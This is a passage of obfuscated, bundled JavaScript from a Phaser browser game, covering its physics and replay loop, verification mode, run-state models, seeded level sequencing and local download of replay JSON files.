_0x4c620e['events']['once'](Phaser['Scenes']['Events']['DESTROY'], _0x128af4); try { this['config']['phaserGame']['scene']['stop'](_0x4c620e['getSceneKey']()), this['config']['phaserGame']['scene']['remove'](_0x4c620e['getSceneKey']()); } catch (_0x443a3e) { _0xc2c5a8(_0x443a3e); } }); } ['replayModeStep']() { let _0x11057e; for (this['replayRemainingLiveDelta'] += 0.001 * this['config']['phaserGame']['loop']['delta']; this['frames'][this['replayFrameIndex']] < this['replayRemainingLiveDelta']; this['replayFrameIndex']++) { const _0x335107 = this['frames'][this['replayFrameIndex']]; for (this['config']['gameContext']['timeProvider']['updateRenderTime'](0x3e8 * _0x335107), this['gameUtilScenes']['forEach'](_0x457d6a => _0x457d6a['updateFeatures'](_0x335107)), this['controlsStateSystem']['update'](), this['remainingPhysicsDelta'] += _0x335107, this['remainingRenderDelta'] += _0x335107, _0x11057e = !0x1; this['remainingPhysicsDelta'] > _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'];) { if (this['config']['gameContext']['timeProvider']['updatePhysicsTime'](0x3e8 * _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP']), this['gameScenes']['forEach'](_0x551054 => _0x551054['updatePhysics'](_0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'])), this['remainingPhysicsDelta'] -= _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'], !this['world']) return; this['world']['timestep'] = _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'], this['world']['step'](this['eventQueue']), this['collectCollisionEvents'](), _0x11057e = !0x0; } _0x11057e && (this['gameScenes']['forEach'](_0x204ca8 => _0x204ca8['updatePositions']()), this['gameScenes']['forEach'](_0x1265aa => _0x1265aa['updateFeatures'](this['remainingRenderDelta'])), this['config']['systemScenes']['forEach'](_0x311b85 => _0x311b85['updateFeatures'](this['remainingRenderDelta'])), this['remainingRenderDelta'] = 0x0), this['replayRemainingLiveDelta'] -= _0x335107; } if (this['replayFrameIndex'] === this['frames']['length']) { const _0x35118c = this['config']['gameContext']['getFromGameStore']('replayData'); this['config']['gameMessageBus']['publish']('replayComplete', { 'replayData': _0x35118c['actorData'], 'runState': this['config']['gameContext']['getFromGameStore']('replayEndState'), 'gameId': this['gameId'] }), this['config']['systemMessageBus']['publish']('replayComplete', { 'replayData': _0x35118c['actorData'], 'runState': this['config']['gameContext']['getFromGameStore']('replayEndState'), 'gameId': this['gameId'] }); } else requestAnimationFrame(this['replayModeStep']); if (localStorage['getItem']('render_debug')) { const _0x3f8b24 = _0x354b1f['RenderConfig']['DEBUG'] ? this['world']['debugRender']() : void 0x0; this['config']['gameMessageBus']['publish']('debugUpdate', { 'debugData': _0x3f8b24 }); } } ['initiateVerificationMode'](_0x32e533) { let _0x4e6560; this['frames'] = _0x32e533['frames'], this['config']['gameContext']['timeProvider']['start'](0x0); for (let _0x32cecf = 0x0; _0x32cecf < this['frames']['length']; _0x32cecf++) { _0x4e6560 = !0x1; const _0x3e4b4e = this['frames'][_0x32cecf]; for (this['config']['gameContext']['timeProvider']['updateRenderTime'](0x3e8 * _0x3e4b4e), this['controlsStateSystem']['update'](), this['remainingPhysicsDelta'] += _0x3e4b4e, this['remainingRenderDelta'] += _0x3e4b4e; this['remainingPhysicsDelta'] > _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'];)this['config']['gameContext']['timeProvider']['updatePhysicsTime'](0x3e8 * _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP']), this['gameScenes']['forEach'](_0xfce9ce => _0xfce9ce['updatePhysics'](_0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'])), this['remainingPhysicsDelta'] -= _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'], this['world']['timestep'] = _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'], this['world']['step'](this['eventQueue']), this['collectCollisionEvents'](), _0x4e6560 = !0x0; _0x4e6560 && (this['gameScenes']['forEach'](_0x1bb5ce => _0x1bb5ce['updatePositions']()), this['gameScenes']['forEach'](_0x15a4e1 => _0x15a4e1['updateFeatures'](this['remainingRenderDelta'])), this['remainingRenderDelta'] = 0x0); } const _0x2cee37 = this['config']['gameContext']['getFromGameStore']('replayData'); this['config']['gameMessageBus']['publish']('replayComplete', { 'replayData': _0x2cee37['actorData'], 'runState': this['config']['gameContext']['getFromGameStore']('replayEndState'), 'gameId': this['gameId'] }), this['config']['systemMessageBus']['publish']('replayComplete', { 'replayData': _0x2cee37['actorData'], 'runState': this['config']['gameContext']['getFromGameStore']('replayEndState'), 'gameId': this['gameId'] }); } ['initiateReplayMode'](_0x38b862) { this['frames'] = _0x38b862['frames'], this['config']['gameContext']['timeProvider']['start'](0x0), this['replayModeStep'](); } ['getReplayData']() { const _0x24437c = this['config']['gameStore']['get']('replayData'); if (!_0x24437c) throw new Error('No\x20replay\x20data\x20found.\x20It\x20is\x20either\x20corrupted\x20or\x20missing.\x20Reset\x20local\x20storage\x20using\x20localStorage.clear()\x20and\x20try\x20again.'); return _0x24437c; } ['initiatePlayMode']() { this['world']['timestep'] = _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'], this['config']['gameContext']['timeProvider']['start'](0x0), this['physicsUpdate'](), this['originalPhaserLoopCallback'] = this['config']['phaserGame']['loop']['callback'], this['config']['phaserGame']['loop']['callback'] = (_0x5817a0, _0x2aa17c) => { this['physicsUpdate'](), this['originalPhaserLoopCallback'](_0x5817a0, _0x2aa17c); }; } ['physicsUpdate']() { if (this['willStopPhysicsUpdate']) return; this['config']['stats'] && this['config']['stats']['begin'](); const _0x4aa6ea = 0.001 * this['config']['phaserGame']['loop']['delta']; this['gameUtilScenes']['forEach'](_0x1e553f => _0x1e553f['updateFeatures'](_0x4aa6ea)); let _0x5810ad = !0x1; if (this['remainingRenderDelta'] += _0x4aa6ea, this['config']['gameContext']['timeProvider']['updateRenderTime'](0x3e8 * _0x4aa6ea), !this['config']['gameStore']['get']('paused')) for (this['controlsStateSystem']['update'](), this['frames']['push'](_0x4aa6ea), this['remainingPhysicsDelta'] += _0x4aa6ea; this['remainingPhysicsDelta'] > _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'];) { if (this['config']['gameContext']['timeProvider']['updatePhysicsTime'](0x3e8 * _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP']), this['gameScenes']['forEach'](_0x22ba08 => _0x22ba08['updatePhysics'](_0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'])), this['remainingPhysicsDelta'] -= _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'], !this['world']) return; this['world']['timestep'] = _0x5ecb80['PhysicsConfig']['WORLD_TIMESTEP'], this['world']['step'](this['eventQueue']), this['collectCollisionEvents'](), _0x5810ad = !0x0; } if ((_0x5810ad || this['config']['gameStore']['get']('paused')) && (this['gameScenes']['forEach'](_0x486b21 => _0x486b21['updatePositions']()), this['gameScenes']['forEach'](_0x38a10d => _0x38a10d['updateFeatures'](this['remainingRenderDelta'])), this['config']['systemScenes']['forEach'](_0x5e6a41 => _0x5e6a41['updateFeatures'](this['remainingRenderDelta'])), this['remainingRenderDelta'] = 0x0), localStorage['getItem']('render_debug')) { const _0x557f24 = _0x354b1f['RenderConfig']['DEBUG'] ? this['world']['debugRender']() : void 0x0; this['config']['gameMessageBus']['publish']('debugUpdate', { 'debugData': _0x557f24 }); } this['config']['stats'] && this['config']['stats']['end'](), this['updateFPS'](this['config']['gameContext']['timeProvider']['getFPS']()); } ['collectCollisionEvents']() { const _0xa035c3 = new Set(), _0x39ea0b = {}; this['eventQueue']['drainCollisionEvents']((_0x554d1b, _0x1ef550, _0x232b6c) => { if (_0x232b6c) try { const _0x1cf962 = this['world']['getCollider'](_0x554d1b), _0x376af1 = this['world']['getCollider'](_0x1ef550); if (!_0x1cf962 || !_0x376af1) return; const _0x31b7d2 = _0x1cf962['parent']()['userData'], _0x5e63fa = _0x376af1['parent']()['userData'], _0x816bc0 = _0x31b7d2['actor'], _0x313465 = _0x5e63fa['actor'], _0x367a1a = _0x816bc0['id'] + '-' + _0x313465['id']; if (Object['hasOwn'](_0x39ea0b, _0x367a1a) && _0x39ea0b[_0x367a1a]['contactPoints']['length'] > 0x0) return; const _0x570e12 = []; this['world']['contactPair'](_0x1cf962, _0x376af1, (_0x164cee, _0x1db9cf) => { for (let _0x42763c = 0x0; _0x42763c < _0x164cee['numSolverContacts'](); _0x42763c++)_0x570e12['push'](_0x164cee['solverContactPoint'](_0x42763c)); }), _0x39ea0b[_0x367a1a] = { 'actor1': _0x816bc0, 'actor2': _0x313465, 'collider1': _0x1cf962, 'collider2': _0x376af1, 'contactPoints': _0x570e12 }; } catch (_0x3dcd77) { } }), Object['values'](_0x39ea0b)['forEach'](_0x2f155 => this['config']['gameMessageBus']['publish']('actorsCollide', _0x2f155)), _0xa035c3['clear'](); } ['createControlsStateSystem']() { const _0x1a4644 = this['config']['gameStore']['get']('mode') === _0x1db38c['EGameMode']['REPLAY'] || (0x0, _0x40f39b['runningAsBackend'])(); return new _0x4324f2['ControlsStateSystem']({ 'replayActionLog': _0x1a4644 ? this['getReplayData']()['replayActionLog'] : void 0x0, 'gameMessageBus': this['config']['gameMessageBus'], 'systemMessageBus': this['config']['systemMessageBus'] }); } ['updateFPS'](_0x244092) { document['getElementById']('fps')['innerHTML'] = 'FPS:\x20' + _0x244092; } ['startLevelLoader']() { const _0x3fed85 = (0x0, _0x369a58['createLevelLoader'])({ 'gameMessageBus': this['config']['gameMessageBus'], 'gameContext': this['config']['gameContext'], 'level': this['config']['levelName'] }); this['gameUtilScenes']['push'](_0x3fed85), this['config']['phaserGame']['scene']['add']('LEVEL_LOADER', _0x3fed85, !0x0); } async['onLevelLoadingComplete']() { const _0x5bab4e = this['world'], _0x49fdad = this['config']['gameMessageBus'], _0x41104d = this['config']['systemMessageBus'], _0x3d22fd = this['config']['gameContext'], _0x472e77 = this['config']['gameContext']['getCurrentLevelConfig']()['rawLevelConfig']['customComponents'] || [], _0x244931 = await (0x0, _0x1d137a['createGameScene'])({ 'world': _0x5bab4e, 'gameMessageBus': _0x49fdad, 'gameContext': _0x3d22fd, 'customComponents': _0x472e77, 'systemMessageBus': _0x41104d }), _0x13680d = (0x0, _0x47b4c1['createUiScene'])({ 'world': _0x5bab4e, 'gameMessageBus': _0x49fdad, 'systemMessageBus': _0x41104d, 'gameContext': _0x3d22fd }); this['gameScenes']['push'](_0x244931), this['gameUtilScenes']['push'](_0x13680d), this['config']['phaserGame']['scene']['add']('GAME_SCENE', _0x244931, !0x0), this['config']['phaserGame']['scene']['add']('UI_SCENE', _0x13680d, !0x0); const _0x239ca0 = this['config']['phaserGame']['scene']['getScene']('CONTROLS'); _0x239ca0 && _0x239ca0['sys']['isActive']() || this['config']['phaserGame']['scene']['start']('CONTROLS'); } ['setupMessageBusForwarding']() { _0x5d0a62['forEach'](_0x27d04e => { this['config']['gameMessageBus']['subscribe'](this, _0x27d04e, _0x4f65ba => this['config']['systemMessageBus']['publish'](_0x27d04e, _0x4f65ba)); }), _0x4fddb6['forEach'](_0x2321d4 => { this['config']['systemMessageBus']['subscribe'](this, _0x2321d4, _0x1d3626 => this['config']['gameMessageBus']['publish'](_0x2321d4, _0x1d3626)); }); } ['setupGameMessageBusListener']() { this['config']['gameMessageBus']['subscribe'](this, 'levelLoadingComplete', () => this['onLevelLoadingComplete']()), this['config']['gameMessageBus']['subscribe'](this, 'sceneCreationComplete', _0x3ee3c9 => { 'GAME_LEVEL' === _0x3ee3c9 && (this['willStopPhysicsUpdate'] = !0x1, this['initiatePhysicsLoop']()); }), this['config']['gameMessageBus']['subscribe'](this, 'roomExited', () => { this['storeReplayData'](); }), this['config']['gameMessageBus']['subscribe'](this, 'playerDead', () => { this['storeReplayData'](); }), this['config']['gameMessageBus']['subscribe'](this, 'initiateVerification', () => { this['storeReplayData'](); }), this['config']['gameMessageBus']['subscribe'](this, 'initiateReplayDataStorage', () => { this['storeReplayData'](); }), this['config']['gameMessageBus']['subscribe'](this, 'abortRun', () => this['endLevel']()); } ['storeReplayData']() { const _0x585beb = this['config']['gameStore']['get']('runState'); this['config']['gameStore']['update']('replayEndState', (0x0, _0x1d8b2e['deepCloneObject'])(_0x585beb)), this['config']['gameStore']['update']('replayData', (0x0, _0x1d8b2e['deepCloneObject'])({ 'frames': this['frames'], 'actorData': this['getVerificationData'](), 'replayActionLog': this['controlsStateSystem']['replayActionLog'], 'level': this['config']['levelName'], 'version': '0.34.30', 'rev': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9', 'seeds': this['config']['seeds'], 'initialState': this['config']['gameStore']['get']('initialRunState') })), this['config']['systemMessageBus']['publish']('replayDataStored'); } ['initiatePhysicsLoop']() { switch (this['config']['gameStore']['get']('mode')) { case _0x1db38c['EGameMode']['VERIFICATION']: this['initiateVerificationMode'](this['getReplayData']()); break; case _0x1db38c['EGameMode']['REPLAY']: this['initiateReplayMode'](this['getReplayData']()); break; case _0x1db38c['EGameMode']['PLAY']: this['initiatePlayMode'](); } } ['setupGameContext'](_0x485300, _0x5808f9, _0x64911) { _0x485300['setupGameContextProviders']({ 'timeProvider': new _0x31172c['TimeProvider'](), 'rngProvider': new _0xe1128c['RngProvider']({ [_0x180a43['EProviderContext']['MAIN']]: _0x64911?.[0x0] ?? 'main', [_0x180a43['EProviderContext']['FRONTEND_ONLY']]: _0x64911?.[0x1] ?? 'gfx333', [_0x180a43['EProviderContext']['PERKS']]: _0x64911?.[0x2] ?? 'perks' }), 'idProvider': new _0x2224b8['IdProvider'](), 'messageBus': _0x5808f9 }); } ['endLevel']() { this['willStopPhysicsUpdate'] = !0x0, this['config']['systemMessageBus']['publish']('abortRun'); } }; }, 0x1a95: (_0xf12fc6, _0xa8be10, _0x3ea7c6) => { 'use strict'; Object['defineProperty'](_0xa8be10, '__esModule', { 'value': !0x0 }), _0xa8be10['gameModel'] = _0xa8be10['INITIAL_HUB_STATE'] = _0xa8be10['INITIAL_RUN_STATE'] = _0xa8be10['INITIAL_PLAYER_STATE'] = _0xa8be10['INITIAL_LEVEL_STATE'] = _0xa8be10['EGameStatisticsEventType'] = _0xa8be10['EGameEnvironment'] = _0xa8be10['EGameMode'] = void 0x0; const _0x428f9a = _0x3ea7c6(0x2123), _0x497b9d = _0x3ea7c6(0x21d4), _0x5bef89 = _0x3ea7c6(0xbf0); var _0x1cca42; !function (_0x45bc1a) { _0x45bc1a['PLAY'] = 'PLAY', _0x45bc1a['VERIFICATION'] = 'VERIFICATION', _0x45bc1a['REPLAY'] = 'REPLAY'; }(_0xa8be10['EGameMode'] || (_0xa8be10['EGameMode'] = {})), function (_0x5681a7) { _0x5681a7['PRODUCTION'] = 'PRODUCTION', _0x5681a7['DEVELOPMENT'] = 'DEVELOPMENT'; }(_0x1cca42 = _0xa8be10['EGameEnvironment'] || (_0xa8be10['EGameEnvironment'] = {})), function (_0x2deed4) { _0x2deed4['PLAYER_HEALTH_CHANGE'] = 'PLAYER_HEALTH_CHANGE', _0x2deed4['PLAYER_DEAD'] = 'PLAYER_DEAD', _0x2deed4['PLAYER_ATTACK_USE'] = 'PLAYER_ATTACK_USE', _0x2deed4['ENEMY_DESTROYED'] = 'ENEMY_DESTROYED', _0x2deed4['ENEMY_HEALTH_CHANGE'] = 'ENEMY_HEALTH_CHANGE', _0x2deed4['INVENTORY_CHANGE'] = 'INVENTORY_CHANGE', _0x2deed4['OBJECTIVE_PROGRESSED'] = 'OBJECTIVE_PROGRESSED', _0x2deed4['ENEMY_SPAWNED'] = 'ENEMY_SPAWNED'; }(_0xa8be10['EGameStatisticsEventType'] || (_0xa8be10['EGameStatisticsEventType'] = {})), _0xa8be10['INITIAL_LEVEL_STATE'] = Object['freeze']({ 'levelName': '', 'mainObjectiveFinishedTimeMS': 0x0, 'levelTimeMS': 0x0, 'inventory': {}, 'killCount': {}, 'damageTaken': 0x0, 'damageDealt': 0x0, 'generatorsSaved': 0x0, 'portalsDisabled': 0x0, 'finished': !0x1, 'seeds': ['offline', 'seed', 'stub'], 'statisticEvents': [], 'score': 0x0 }), _0xa8be10['INITIAL_PLAYER_STATE'] = (0x0, _0x5bef89['deepFreeze'])({ 'currentHealth': 0xa, 'maxHealth': 0xa, 'weaponGroups': [], 'ammoState': { 'skill1': { 'max': 0x64, 'current': 0x0 }, 'skill2': { 'max': 0x0, 'current': 0x0 }, 'cooldown1': { 'max': 0x64, 'current': 0x64, 'rechargeTimeMS': 0x18, 'timeLeftToRechargeAmmoMS': -0x1 } } }), _0xa8be10['INITIAL_RUN_STATE'] = (0x0, _0x5bef89['deepFreeze'])({ 'levelSequence': [], 'currentLevelIndex': 0x0, 'playerState': _0xa8be10['INITIAL_PLAYER_STATE'], 'currentLevelTimeMS': 0x0, 'levelStates': [{ ..._0xa8be10['INITIAL_LEVEL_STATE'] }], 'isVerifiableRun': !0x1, 'seeds': ['0'], 'totalScore': 0x0, 'pendingChoices': [], 'pickedChoices': [] }), _0xa8be10['INITIAL_HUB_STATE'] = (0x0, _0x5bef89['deepFreeze'])({ 'levelSequence': ['hub0'], 'currentLevelIndex': 0x0, 'playerState': { 'currentHealth': 0xa, 'maxHealth': 0xa, 'weaponGroups': [], 'ammoState': { 'skill1': { 'max': 0x64, 'current': 0x0 }, 'skill2': { 'max': 0x0, 'current': 0x0 }, 'cooldown1': { 'max': 0x64, 'current': 0x64, 'rechargeTimeMS': 0x18, 'timeLeftToRechargeAmmoMS': -0x1 } } }, 'isVerifiableRun': !0x1, 'currentLevelTimeMS': 0x0, 'levelStates': [{ ..._0xa8be10['INITIAL_LEVEL_STATE'] }], 'seeds': ['0'], 'totalScore': 0x0, 'pendingChoices': [], 'pickedChoices': [] }), _0xa8be10['gameModel'] = { 'mode': 'PLAY', 'paused': !0x1, 'inputsDisabled': !0x1, 'replayData': null, 'initialRunState': _0xa8be10['INITIAL_RUN_STATE'], 'runState': _0xa8be10['INITIAL_RUN_STATE'], 'photoModeEnabled': !0x1, 'settings': _0x497b9d['settingsModel'], 'rawSettings': {}, 'environment': _0x1cca42['PRODUCTION'], 'auth': _0x428f9a['authModel'] }; }, 0x13b: function (_0x5eceec, _0x182fc8, _0x50e15d) { 'use strict'; var _0x410b2e = this && this['__importDefault'] || function (_0x32838e) { return _0x32838e && _0x32838e['__esModule'] ? _0x32838e : { 'default': _0x32838e }; }; Object['defineProperty'](_0x182fc8, '__esModule', { 'value': !0x0 }), _0x182fc8['generateLevelSequence'] = void 0x0; const _0x407f00 = _0x410b2e(_0x50e15d(0x1ee2)), _0x37e970 = [{ 'name': 'waves1', 'difficulty': 0x0 }, { 'name': 'des_bridge', 'difficulty': 0x1 }, { 'name': 'des_teich', 'difficulty': 0x1 }, { 'name': 'portals1', 'difficulty': 0x1 }, { 'name': 'portals5', 'difficulty': 0x1 }, { 'name': 'waves2', 'difficulty': 0x2 }, { 'name': 'portals3', 'difficulty': 0x2 }, { 'name': 'des_cliff', 'difficulty': 0x2 }, { 'name': 'waves3', 'difficulty': 0x2 }, { 'name': 'portals2', 'difficulty': 0x3 }, { 'name': 'waves4', 'difficulty': 0x3 }, { 'name': 'des_vip', 'difficulty': 0x3 }, { 'name': 'boss1', 'difficulty': 0x4 }]; _0x182fc8['generateLevelSequence'] = function (_0xadbf07, _0x38de20) { const _0x1fe145 = _0x407f00['default']['create'](_0xadbf07[0x0]), _0x2f13dd = _0x37e970['reduce']((_0x2b4725, _0x17e999) => (_0x2b4725[_0x17e999['difficulty']] || (_0x2b4725[_0x17e999['difficulty']] = []), _0x2b4725[_0x17e999['difficulty']]['push'](_0x17e999['name']), _0x2b4725), {}), _0x322d45 = []; return Object['entries'](_0x38de20)['forEach'](([_0x498587, _0x779fd0]) => { if (_0x2f13dd[parseInt(_0x498587)] && _0x2f13dd[parseInt(_0x498587)]['length']) { const _0x2233ba = _0x2f13dd[parseInt(_0x498587)]; for (let _0x359869 = _0x2233ba['length'] - 0x1; _0x359869 > 0x0; _0x359869--) { const _0x20a9b4 = Math['floor'](_0x1fe145['floatBetween'](0x0, _0x359869 + 0x1));[_0x2233ba[_0x359869], _0x2233ba[_0x20a9b4]] = [_0x2233ba[_0x20a9b4], _0x2233ba[_0x359869]]; } _0x322d45['push'](..._0x2233ba['slice'](0x0, _0x779fd0)); } }), _0x322d45; }; }, 0x1786: (_0x27dc45, _0x172edb, _0x294be9) => { 'use strict'; Object['defineProperty'](_0x172edb, '__esModule', { 'value': !0x0 }), _0x172edb['RunContext'] = _0x172edb['LEVEL_DIFFICULTY_CONFIG'] = void 0x0; const _0x1f246f = _0x294be9(0x2123), _0x388c80 = _0x294be9(0x1a95), _0x19130 = _0x294be9(0x13b); _0x172edb['LEVEL_DIFFICULTY_CONFIG'] = { 0x0: 0x1, 0x1: 0x2, 0x2: 0x2, 0x3: 0x1, 0x4: 0x1 }, _0x172edb['RunContext'] = class { ['systemMessageBus'];['gameStore']; constructor(_0x54fdaf, _0x4a5c93) { this['systemMessageBus'] = _0x54fdaf, this['gameStore'] = _0x4a5c93, this['setupListeners'](); } ['setupListeners']() { this['systemMessageBus']['subscribe'](this, 'startSingleLevel', _0x34b855 => this['startSingleLevel'](_0x34b855['levelName'])), this['systemMessageBus']['subscribe'](this, 'startRun', _0x2c491f => this['startRun']()), this['systemMessageBus']['subscribe'](this, 'startRunReady', _0x45a729 => this['startRunReady'](_0x45a729)), this['systemMessageBus']['subscribe'](this, 'startHub', () => this['startHub']()), this['systemMessageBus']['subscribe'](this, 'startTutorial', () => this['startTutorial']()), this['systemMessageBus']['subscribe'](this, 'startTest', () => this['startTest']()), this['systemMessageBus']['subscribe'](this, 'playAgain', () => this['playAgain']()), this['systemMessageBus']['subscribe'](this, 'abortRun', () => this['abortRun']()), this['systemMessageBus']['subscribe'](this, 'playerDead', () => this['handleRunCompleted']()), this['systemMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['handleRunCompleted']()), this['systemMessageBus']['subscribeGroup'](this, ['roomExited', 'replayDataStored'], _0xaa02b7 => this['roomExited']()), this['systemMessageBus']['subscribeGroup'](this, ['roomExited', 'replayDataStored', 'choiceSelected'], _0xd208ce => this['roomExitedWithPerkChoice']()), this['systemMessageBus']['subscribeGroup'](this, ['playerDead', 'replayDataStored'], _0x41cf6e => this['runCompletedPlayerDead']()), this['systemMessageBus']['subscribeGroup'](this, ['initiateVerification', 'replayDataStored'], _0x2906f7 => this['downloadReplay']()); } ['startSingleLevel'](_0x446b62) { this['systemMessageBus']['publish']('requestStopAllSounds'), this['systemMessageBus']['publish']('abortRun'); const _0x4a6fc2 = { ..._0x388c80['INITIAL_RUN_STATE'], 'levelStates': [{ ..._0x388c80['INITIAL_LEVEL_STATE'] }], 'levelSequence': [_0x446b62] }; this['gameStore']['update']('runState', _0x4a6fc2), this['systemMessageBus']['publish']('beginRoom', { 'levelName': _0x446b62 }); } ['startHub']() { this['systemMessageBus']['publish']('requestStopAllSounds'), this['systemMessageBus']['publish']('abortRun'); const _0x45f4d9 = { ..._0x388c80['INITIAL_HUB_STATE'], 'levelStates': [{ ..._0x388c80['INITIAL_LEVEL_STATE'] }], 'levelSequence': ['hub0'] }; this['gameStore']['update']('runState', _0x45f4d9), this['systemMessageBus']['publish']('beginRoom', { 'levelName': 'hub0' }); } ['startRun']() { this['systemMessageBus']['publish']('requestStopAllSounds'), setTimeout(() => { this['systemMessageBus']['publish']('abortRun'), this['systemMessageBus']['publish']('startRunInit'); }, 0xfa); } ['startRunReady'](_0x54944a) { const _0x30844a = this['initializeVerifiableRunState'](_0x54944a['seeds']); this['gameStore']['update']('runState', _0x30844a, { 'forceUpdate': !0x0 }), this['systemMessageBus']['publish']('beginRoom', { 'levelName': _0x30844a['levelSequence'][0x0] }); } ['startTutorial']() { this['systemMessageBus']['publish']('requestStopAllSounds'), this['systemMessageBus']['publish']('abortRun'); const _0x4613b9 = { ..._0x388c80['INITIAL_RUN_STATE'], 'levelStates': [{ ..._0x388c80['INITIAL_LEVEL_STATE'] }], 'levelSequence': ['tutorial1', 'tutorial2'], 'playerState': { ..._0x388c80['INITIAL_PLAYER_STATE'], 'ammoState': { 'skill1': { 'max': 0x64, 'current': 0x0 }, 'skill2': { 'max': 0x0, 'current': 0x0 }, 'cooldown1': { 'max': 0x64, 'current': 0x64, 'rechargeTimeMS': 0x1e, 'timeLeftToRechargeAmmoMS': -0x1 } } } }; this['gameStore']['update']('runState', _0x4613b9), this['systemMessageBus']['publish']('beginRoom', { 'levelName': 'tutorial1' }); } ['startTest']() { this['systemMessageBus']['publish']('requestStopAllSounds'), this['systemMessageBus']['publish']('abortRun'); const _0x29ffc4 = { ..._0x388c80['INITIAL_RUN_STATE'], 'levelStates': [{ ..._0x388c80['INITIAL_LEVEL_STATE'] }], 'levelSequence': ['test'], 'playerState': { ..._0x388c80['INITIAL_PLAYER_STATE'], 'ammoState': { 'skill1': { 'max': 0x64, 'current': 0x0 }, 'skill2': { 'max': 0x0, 'current': 0x0 }, 'cooldown1': { 'max': 0x64, 'current': 0x64, 'rechargeTimeMS': 0x1e, 'timeLeftToRechargeAmmoMS': -0x1 } } } }; this['gameStore']['update']('runState', _0x29ffc4), this['systemMessageBus']['publish']('beginRoom', { 'levelName': 'test1' }); } ['playAgain']() { const _0x137bdd = this['gameStore']['get']('runState'); this['systemMessageBus']['publish']('requestStopAllSounds'), this['systemMessageBus']['publish']('abortRun'); if (_0x137bdd['isVerifiableRun']) return void this['startRun'](); const _0x200eea = this['reinitializeExistingRunState'](_0x137bdd); this['gameStore']['update']('runState', _0x200eea, { 'forceUpdate': !0x0 }), this['systemMessageBus']['publish']('beginRoom', { 'levelName': _0x200eea['levelSequence'][0x0] }); } ['abortRun']() { this['gameStore']['update']('runState', _0x388c80['INITIAL_RUN_STATE'], { 'forceUpdate': !0x0 }); } ['roomExitedWithPerkChoice']() { if (this['gameStore']['get']('mode') !== _0x388c80['EGameMode']['PLAY']) return; const _0x166a4d = this['gameStore']['get']('runState'), _0x3d2813 = _0x166a4d['currentLevelIndex'] + 0x1; if (_0x3d2813 >= _0x166a4d['levelSequence']['length']) return; const _0x5cdee5 = { ..._0x388c80['INITIAL_LEVEL_STATE'] }; _0x166a4d['levelStates']['push'](_0x5cdee5), this['gameStore']['update']('runState', { ..._0x166a4d, 'currentLevelIndex': _0x3d2813 }, { 'forceUpdate': !0x0 }), this['systemMessageBus']['publish']('requestStopAllSounds'), this['systemMessageBus']['publish']('nextRoom', { 'levelName': _0x166a4d['levelSequence'][_0x3d2813] }); } ['roomExited']() { if (this['gameStore']['get']('mode') !== _0x388c80['EGameMode']['PLAY']) return; const _0x3d552c = this['gameStore']['get']('runState'); _0x3d552c['currentLevelIndex'] + 0x1 >= _0x3d552c['levelSequence']['length'] || this['systemMessageBus']['publish']('exitRoom'); } ['runCompletedPlayerDead']() { this['systemMessageBus']['publish']('runCompletePlayerDead'); } ['initializeVerifiableRunState'](_0x6397f1) { const _0x37421a = { ..._0x388c80['INITIAL_RUN_STATE'], 'levelStates': [{ ..._0x388c80['INITIAL_LEVEL_STATE'] }] }; return _0x37421a['levelSequence'] = (0x0, _0x19130['generateLevelSequence'])(_0x6397f1, _0x172edb['LEVEL_DIFFICULTY_CONFIG']), _0x37421a['isVerifiableRun'] = !0x0, _0x37421a; } ['reinitializeExistingRunState'](_0x1744b5) { const _0x1d8a9e = { ..._0x388c80['INITIAL_RUN_STATE'], 'levelStates': [{ ..._0x388c80['INITIAL_LEVEL_STATE'] }] }; return _0x1d8a9e['levelSequence'] = _0x1744b5['levelSequence'], _0x1d8a9e; } ['downloadReplay']() { const _0x5ecd4f = this['gameStore']['get']('replayData'); if (!_0x5ecd4f) throw new Error('No\x20replay\x20data\x20to\x20download'); const _0x667047 = new Blob([JSON['stringify'](_0x5ecd4f)], { 'type': 'application/json' }), _0x58abd3 = URL['createObjectURL'](_0x667047), _0x552b90 = document['createElement']('a'), _0x40360c = 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9'?.['substring'](0x0, 0x7), _0x2b0a3e = '0.34.30'?.['replace']('.', '_'); _0x552b90['href'] = _0x58abd3, _0x552b90['download'] = 'variance_replay_' + _0x2b0a3e + '_' + _0x40360c + '.json', _0x552b90['click'](); } ['handleRunCompleted']() { const _0xa1595b = this['gameStore']['get']('runState'), _0xf9ef18 = _0xa1595b['currentLevelIndex'] === _0xa1595b['levelSequence']['length'] - 0x1, _0x2c0484 = _0xa1595b['playerState']['currentHealth'] > 0x0; !_0xf9ef18 && _0x2c0484 || this['systemMessageBus']['publish']('requestSendOutboundMessage', { 'message': _0x1f246f['EMessageOutboundType']['RUN_COMPLETED'], 'content': void 0x0 }); } }; }, 0x19f5: function (_0x7e742b, _0x1762fa, _0x503e19) { 'use strict'; var _0x5591fa = this && this['__createBinding'] || (Object['create'] ? function (_0x21d7c, _0x8ca296, _0x5d4686, _0x5296d0) { void 0x0 === _0x5296d0 && (_0x5296d0 = _0x5d4686); var _0x268028 = Object['getOwnPropertyDescriptor'](_0x8ca296, _0x5d4686); _0x268028 && !('get' in _0x268028 ? !_0x8ca296['__esModule'] : _0x268028['writable'] || _0x268028['configurable']) || (_0x268028 = { 'enumerable': !0x0, 'get': function () { return _0x8ca296[_0x5d4686]; } }), Object['defineProperty'](_0x21d7c, _0x5296d0, _0x268028); } : function (_0x44703f, _0x55480e, _0x2e7b88, _0x1a328d) { void 0x0 === _0x1a328d && (_0x1a328d = _0x2e7b88), _0x44703f[_0x1a328d] = _0x55480e[_0x2e7b88]; }), _0x41014d = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x29e37e, _0x1c1308) { Object['defineProperty'](_0x29e37e, 'default', { 'enumerable': !0x0, 'value': _0x1c1308 }); } : function 